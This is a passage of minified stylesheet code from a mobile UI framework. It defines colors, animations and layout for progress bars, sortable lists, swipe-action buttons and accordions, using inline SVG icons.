.progressbar-infinite:before{background:#e91e63}.md .color-theme-yellow .progressbar,.md .color-theme-yellow .progressbar-infinite{background:rgba(255,235,59,.5)}.md .color-theme-yellow .progressbar span{background:#ffeb3b}.md .color-theme-yellow .progressbar-infinite:after,.md .color-theme-yellow .progressbar-infinite:before{background:#ffeb3b}.md .color-theme-orange .progressbar,.md .color-theme-orange .progressbar-infinite{background:rgba(255,152,0,.5)}.md .color-theme-orange .progressbar span{background:#ff9800}.md .color-theme-orange .progressbar-infinite:after,.md .color-theme-orange .progressbar-infinite:before{background:#ff9800}.md .color-theme-gray .progressbar,.md .color-theme-gray .progressbar-infinite{background:rgba(158,158,158,.5)}.md .color-theme-gray .progressbar span{background:#9e9e9e}.md .color-theme-gray .progressbar-infinite:after,.md .color-theme-gray .progressbar-infinite:before{background:#9e9e9e}.md .color-theme-white .progressbar,.md .color-theme-white .progressbar-infinite{background:rgba(255,255,255,.5)}.md .color-theme-white .progressbar span{background:#fff}.md .color-theme-white .progressbar-infinite:after,.md .color-theme-white .progressbar-infinite:before{background:#fff}.md .color-theme-black .progressbar,.md .color-theme-black .progressbar-infinite{background:rgba(0,0,0,.5)}.md .color-theme-black .progressbar span{background:#000}.md .color-theme-black .progressbar-infinite:after,.md .color-theme-black .progressbar-infinite:before{background:#000}.md .progressbar-infinite.color-red,.md .progressbar.color-red{background:rgba(244,67,54,.5)}.md .progressbar.color-red span{background:#f44336}.md .progressbar-infinite.color-red:after,.md .progressbar-infinite.color-red:before{background:#f44336}.md .progressbar-infinite.color-green,.md .progressbar.color-green{background:rgba(76,175,80,.5)}.md .progressbar.color-green span{background:#4caf50}.md .progressbar-infinite.color-green:after,.md .progressbar-infinite.color-green:before{background:#4caf50}.md .progressbar-infinite.color-blue,.md .progressbar.color-blue{background:rgba(33,150,243,.5)}.md .progressbar.color-blue span{background:#2196f3}.md .progressbar-infinite.color-blue:after,.md .progressbar-infinite.color-blue:before{background:#2196f3}.md .progressbar-infinite.color-pink,.md .progressbar.color-pink{background:rgba(233,30,99,.5)}.md .progressbar.color-pink span{background:#e91e63}.md .progressbar-infinite.color-pink:after,.md .progressbar-infinite.color-pink:before{background:#e91e63}.md .progressbar-infinite.color-yellow,.md .progressbar.color-yellow{background:rgba(255,235,59,.5)}.md .progressbar.color-yellow span{background:#ffeb3b}.md .progressbar-infinite.color-yellow:after,.md .progressbar-infinite.color-yellow:before{background:#ffeb3b}.md .progressbar-infinite.color-orange,.md .progressbar.color-orange{background:rgba(255,152,0,.5)}.md .progressbar.color-orange span{background:#ff9800}.md .progressbar-infinite.color-orange:after,.md .progressbar-infinite.color-orange:before{background:#ff9800}.md .progressbar-infinite.color-gray,.md .progressbar.color-gray{background:rgba(158,158,158,.5)}.md .progressbar.color-gray span{background:#9e9e9e}.md .progressbar-infinite.color-gray:after,.md .progressbar-infinite.color-gray:before{background:#9e9e9e}.md .progressbar-infinite.color-white,.md .progressbar.color-white{background:rgba(255,255,255,.5)}.md .progressbar.color-white span{background:#fff}.md .progressbar-infinite.color-white:after,.md .progressbar-infinite.color-white:before{background:#fff}.md .progressbar-infinite.color-black,.md .progressbar.color-black{background:rgba(0,0,0,.5)}.md .progressbar.color-black span{background:#000}.md .progressbar-infinite.color-black:after,.md .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@-webkit-keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@-webkit-keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@-webkit-keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}@keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}.sortable .sortable-handler{position:absolute;top:0;bottom:1px;z-index:10;background-repeat:no-repeat;background-size:18px 12px;opacity:0;pointer-events:none;cursor:move;-webkit-transition-duration:.3s;transition-duration:.3s;left:0;background-position:0 50%}.sortable .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable li.sorting{z-index:50;background:rgba(255,255,255,.8);-webkit-transition-duration:0s;transition-duration:0s}.sortable li.sorting .item-inner:after{display:none!important}.sortable-sorting li{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable-enabled .sortable-handler{pointer-events:auto;opacity:1;background-position:50% 50%}.sortable-enabled .item-link .item-inner,.sortable-enabled .item-link .item-title-row{background-image:none!important}.sortable.theme-dark li.sorting,.theme-dark .sortable li.sorting{background-color:rgba(50,50,50,.8)}.ios .sortable-handler{width:35px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E")}.ios .sortable li.sorting{-webkit-box-shadow:0 2px 8px rgba(0,0,0,.6);box-shadow:0 2px 8px rgba(0,0,0,.6)}.ios .sortable-enabled .item-inner,.ios .sortable-enabled .item-link .item-inner{padding-left:35px}.ios .list.sortable-enabled .item-link.no-chevron .item-inner,.ios .list.sortable-enabled .no-chevron .item-link .item-inner,.ios .list.sortable-enabled.no-chevron .item-link .item-inner,.ios .no-chevron .list.sortable-enabled .item-link .item-inner{padding-left:35px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .sortable-handler,.ios.device-iphone-x .ios-left-edge .sortable-handler,.ios.device-iphone-x .panel-left .sortable-handler,.ios.device-iphone-x .popup .sortable-handler,.ios.device-iphone-x .sheet-modal .sortable-handler{left:constant(safe-area-inset-left);left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-left:calc(35px + constant(safe-area-inset-right));padding-left:calc(35px + env(safe-area-inset-right))}}.md .sortable-handler{width:50px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E")}.md .sortable li.sorting{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .sortable-enabled .item-inner,.md .sortable-enabled .item-link .item-inner{padding-left:50px}.md .list.sortable-enabled .item-link.no-chevron .item-inner,.md .list.sortable-enabled .no-chevron .item-link .item-inner,.md .list.sortable-enabled.no-chevron .item-link .item-inner,.md .no-chevron .list.sortable-enabled .item-link .item-inner{padding-left:50px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .sortable-handler,.md.device-iphone-x .ios-left-edge .sortable-handler,.md.device-iphone-x .panel-left .sortable-handler,.md.device-iphone-x .popup .sortable-handler,.md.device-iphone-x .sheet-modal .sortable-handler{left:constant(safe-area-inset-left);left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-left:calc(42px + constant(safe-area-inset-right));padding-left:calc(42px + env(safe-area-inset-right))}}.swipeout{overflow:hidden;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swipeout-deleting{-webkit-transition-duration:.3s;transition-duration:.3s}.swipeout-deleting .swipeout-content{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-transitioning .swipeout-actions-left a,.swipeout-transitioning .swipeout-actions-right a,.swipeout-transitioning .swipeout-content,.swipeout-transitioning .swipeout-overswipe{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:left,-webkit-transform;transition-property:left,-webkit-transform;transition-property:transform,left;transition-property:transform,left,-webkit-transform}.swipeout-content{position:relative;z-index:10}.swipeout-overswipe{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:left;transition-property:left}.swipeout-actions-left,.swipeout-actions-right{position:absolute;top:0;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;direction:ltr}.swipeout-actions-left>a,.swipeout-actions-left>button,.swipeout-actions-left>div,.swipeout-actions-left>span,.swipeout-actions-right>a,.swipeout-actions-right>button,.swipeout-actions-right>div,.swipeout-actions-right>span{color:#fff;background:#c7c7cc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;position:relative;left:0}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after,.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{content:'';position:absolute;top:0;width:600%;height:100%;background:inherit;z-index:-1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swipeout-actions-right{right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{left:100%;margin-left:-1px}.swipeout-actions-left{left:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after{right:100%;margin-right:-1px}.ios .swipeout-actions-left>a,.ios .swipeout-actions-left>button,.ios .swipeout-actions-left>div,.ios .swipeout-actions-left>span,.ios .swipeout-actions-right>a,.ios .swipeout-actions-right>button,.ios .swipeout-actions-right>div,.ios .swipeout-actions-right>span{padding:0 30px;color:#fff}.ios .swipeout-actions-left .swipeout-delete,.ios .swipeout-actions-right .swipeout-delete{background:#ff3b30}.ios .swipeout-actions-left>a.color-red,.ios .swipeout-actions-left>button.color-red,.ios .swipeout-actions-left>div.color-red,.ios .swipeout-actions-left>span.color-red,.ios .swipeout-actions-right>a.color-red,.ios .swipeout-actions-right>button.color-red,.ios .swipeout-actions-right>div.color-red,.ios .swipeout-actions-right>span.color-red{background-color:#ff3b30}.ios .swipeout-actions-left>a.color-green,.ios .swipeout-actions-left>button.color-green,.ios .swipeout-actions-left>div.color-green,.ios .swipeout-actions-left>span.color-green,.ios .swipeout-actions-right>a.color-green,.ios .swipeout-actions-right>button.color-green,.ios .swipeout-actions-right>div.color-green,.ios .swipeout-actions-right>span.color-green{background-color:#4cd964}.ios .swipeout-actions-left>a.color-blue,.ios .swipeout-actions-left>button.color-blue,.ios .swipeout-actions-left>div.color-blue,.ios .swipeout-actions-left>span.color-blue,.ios .swipeout-actions-right>a.color-blue,.ios .swipeout-actions-right>button.color-blue,.ios .swipeout-actions-right>div.color-blue,.ios .swipeout-actions-right>span.color-blue{background-color:#007aff}.ios .swipeout-actions-left>a.color-pink,.ios .swipeout-actions-left>button.color-pink,.ios .swipeout-actions-left>div.color-pink,.ios .swipeout-actions-left>span.color-pink,.ios .swipeout-actions-right>a.color-pink,.ios .swipeout-actions-right>button.color-pink,.ios .swipeout-actions-right>div.color-pink,.ios .swipeout-actions-right>span.color-pink{background-color:#ff2d55}.ios .swipeout-actions-left>a.color-yellow,.ios .swipeout-actions-left>button.color-yellow,.ios .swipeout-actions-left>div.color-yellow,.ios .swipeout-actions-left>span.color-yellow,.ios .swipeout-actions-right>a.color-yellow,.ios .swipeout-actions-right>button.color-yellow,.ios .swipeout-actions-right>div.color-yellow,.ios .swipeout-actions-right>span.color-yellow{background-color:#fc0}.ios .swipeout-actions-left>a.color-orange,.ios .swipeout-actions-left>button.color-orange,.ios .swipeout-actions-left>div.color-orange,.ios .swipeout-actions-left>span.color-orange,.ios .swipeout-actions-right>a.color-orange,.ios .swipeout-actions-right>button.color-orange,.ios .swipeout-actions-right>div.color-orange,.ios .swipeout-actions-right>span.color-orange{background-color:#ff9500}.ios .swipeout-actions-left>a.color-gray,.ios .swipeout-actions-left>button.color-gray,.ios .swipeout-actions-left>div.color-gray,.ios .swipeout-actions-left>span.color-gray,.ios .swipeout-actions-right>a.color-gray,.ios .swipeout-actions-right>button.color-gray,.ios .swipeout-actions-right>div.color-gray,.ios .swipeout-actions-right>span.color-gray{background-color:#8e8e93}.ios .swipeout-actions-left>a.color-white,.ios .swipeout-actions-left>button.color-white,.ios .swipeout-actions-left>div.color-white,.ios .swipeout-actions-left>span.color-white,.ios .swipeout-actions-right>a.color-white,.ios .swipeout-actions-right>button.color-white,.ios .swipeout-actions-right>div.color-white,.ios .swipeout-actions-right>span.color-white{background-color:#fff}.ios .swipeout-actions-left>a.color-black,.ios .swipeout-actions-left>button.color-black,.ios .swipeout-actions-left>div.color-black,.ios .swipeout-actions-left>span.color-black,.ios .swipeout-actions-right>a.color-black,.ios .swipeout-actions-right>button.color-black,.ios .swipeout-actions-right>div.color-black,.ios .swipeout-actions-right>span.color-black{background-color:#000}.md .swipeout-actions-left>a,.md .swipeout-actions-left>button,.md .swipeout-actions-left>div,.md .swipeout-actions-left>span,.md .swipeout-actions-right>a,.md .swipeout-actions-right>button,.md .swipeout-actions-right>div,.md .swipeout-actions-right>span{padding:0 24px;color:#fff}.md .swipeout-actions-left .swipeout-delete,.md .swipeout-actions-right .swipeout-delete{background:#f44336}.md .swipeout-actions-left>a.color-red,.md .swipeout-actions-left>button.color-red,.md .swipeout-actions-left>div.color-red,.md .swipeout-actions-left>span.color-red,.md .swipeout-actions-right>a.color-red,.md .swipeout-actions-right>button.color-red,.md .swipeout-actions-right>div.color-red,.md .swipeout-actions-right>span.color-red{background-color:#f44336}.md .swipeout-actions-left>a.color-green,.md .swipeout-actions-left>button.color-green,.md .swipeout-actions-left>div.color-green,.md .swipeout-actions-left>span.color-green,.md .swipeout-actions-right>a.color-green,.md .swipeout-actions-right>button.color-green,.md .swipeout-actions-right>div.color-green,.md .swipeout-actions-right>span.color-green{background-color:#4caf50}.md .swipeout-actions-left>a.color-blue,.md .swipeout-actions-left>button.color-blue,.md .swipeout-actions-left>div.color-blue,.md .swipeout-actions-left>span.color-blue,.md .swipeout-actions-right>a.color-blue,.md .swipeout-actions-right>button.color-blue,.md .swipeout-actions-right>div.color-blue,.md .swipeout-actions-right>span.color-blue{background-color:#2196f3}.md .swipeout-actions-left>a.color-pink,.md .swipeout-actions-left>button.color-pink,.md .swipeout-actions-left>div.color-pink,.md .swipeout-actions-left>span.color-pink,.md .swipeout-actions-right>a.color-pink,.md .swipeout-actions-right>button.color-pink,.md .swipeout-actions-right>div.color-pink,.md .swipeout-actions-right>span.color-pink{background-color:#e91e63}.md .swipeout-actions-left>a.color-yellow,.md .swipeout-actions-left>button.color-yellow,.md .swipeout-actions-left>div.color-yellow,.md .swipeout-actions-left>span.color-yellow,.md .swipeout-actions-right>a.color-yellow,.md .swipeout-actions-right>button.color-yellow,.md .swipeout-actions-right>div.color-yellow,.md .swipeout-actions-right>span.color-yellow{background-color:#ffeb3b}.md .swipeout-actions-left>a.color-orange,.md .swipeout-actions-left>button.color-orange,.md .swipeout-actions-left>div.color-orange,.md .swipeout-actions-left>span.color-orange,.md .swipeout-actions-right>a.color-orange,.md .swipeout-actions-right>button.color-orange,.md .swipeout-actions-right>div.color-orange,.md .swipeout-actions-right>span.color-orange{background-color:#ff9800}.md .swipeout-actions-left>a.color-gray,.md .swipeout-actions-left>button.color-gray,.md .swipeout-actions-left>div.color-gray,.md .swipeout-actions-left>span.color-gray,.md .swipeout-actions-right>a.color-gray,.md .swipeout-actions-right>button.color-gray,.md .swipeout-actions-right>div.color-gray,.md .swipeout-actions-right>span.color-gray{background-color:#9e9e9e}.md .swipeout-actions-left>a.color-white,.md .swipeout-actions-left>button.color-white,.md .swipeout-actions-left>div.color-white,.md .swipeout-actions-left>span.color-white,.md .swipeout-actions-right>a.color-white,.md .swipeout-actions-right>button.color-white,.md .swipeout-actions-right>div.color-white,.md .swipeout-actions-right>span.color-white{background-color:#fff}.md .swipeout-actions-left>a.color-black,.md .swipeout-actions-left>button.color-black,.md .swipeout-actions-left>div.color-black,.md .swipeout-actions-left>span.color-black,.md .swipeout-actions-right>a.color-black,.md .swipeout-actions-right>button.color-black,.md .swipeout-actions-right>div.color-black,.md .swipeout-actions-right>span.color-black{background-color:#000}.accordion-item-toggle{cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state>.item-inner:after{background-color:transparent}.accordion-item-toggle .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color}.accordion-item-toggle .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .item-link .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .block,.accordion-item .list{margin-top:0;margin-bottom:0}.accordion-item .block>h1:first-child,.accordion-item .block>h2:first-child,.accordion-item .block>h3:first-child,.accordion-item .block>h4:first-child,.accordion-item .block>p:first-child{margin-top:10px}.accordion-item .block>h1:last-child,.accordion-item .block>h2:last-child,.accordion-item .block>h3:last-child,.accordion-item .block>h4:last-child,.accordion-item .block>p:last-child{margin-bottom:10px}.accordion-item-opened .accordion-item-toggle .item-inner:after,.accordion-item-opened>.item-link .item-inner:after{background-color:transparent}.list li.accordion-item ul{padding-right:0}.accordion-item-content{position:relative;overflow:hidden;height:0;font-size:14px;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-opened>.accordion-item-content{height:auto}html.device-android-4 .accordion-item-content{-webkit-transform:none;transform:none}.ios .list .accordion-item-toggle .item-inner{background-size:8px 13px;padding-left:35px;background-repeat:no-repeat;background-position:15px center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.ios .list .accordion-item-toggle.active-state{background-color:#d9d9d9}.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .accordion-item-opened.media-item>.item-link .item-title-row,.ios .links-list .accordion-item-opened>a,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.ios .theme-dark .list .accordion-item-toggle .item-inner{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.ios .theme-dark .list .accordion-item-toggle.active-state{background-color:#363636}.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.ios .theme-dark .links-list .accordion-item-opened>a,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .list .accordion-item-toggle .item-inner{padding-left:42px;background-repeat:no-repeat;background-position:16px center}.md .list .accordion-item-toggle.active-state{background-color:rgba(0,0,0,.1)}.md .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .accordion-item.media-item>.item-link .item-title-row,.md .links-list .accordion-item>a,.md .list .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .accordion-item-opened.media-item>.item-link .item-title-row,.md .links-list .accordion-item-opened>a,.md .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item>a,.md .theme-dark .list .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item>.item-link 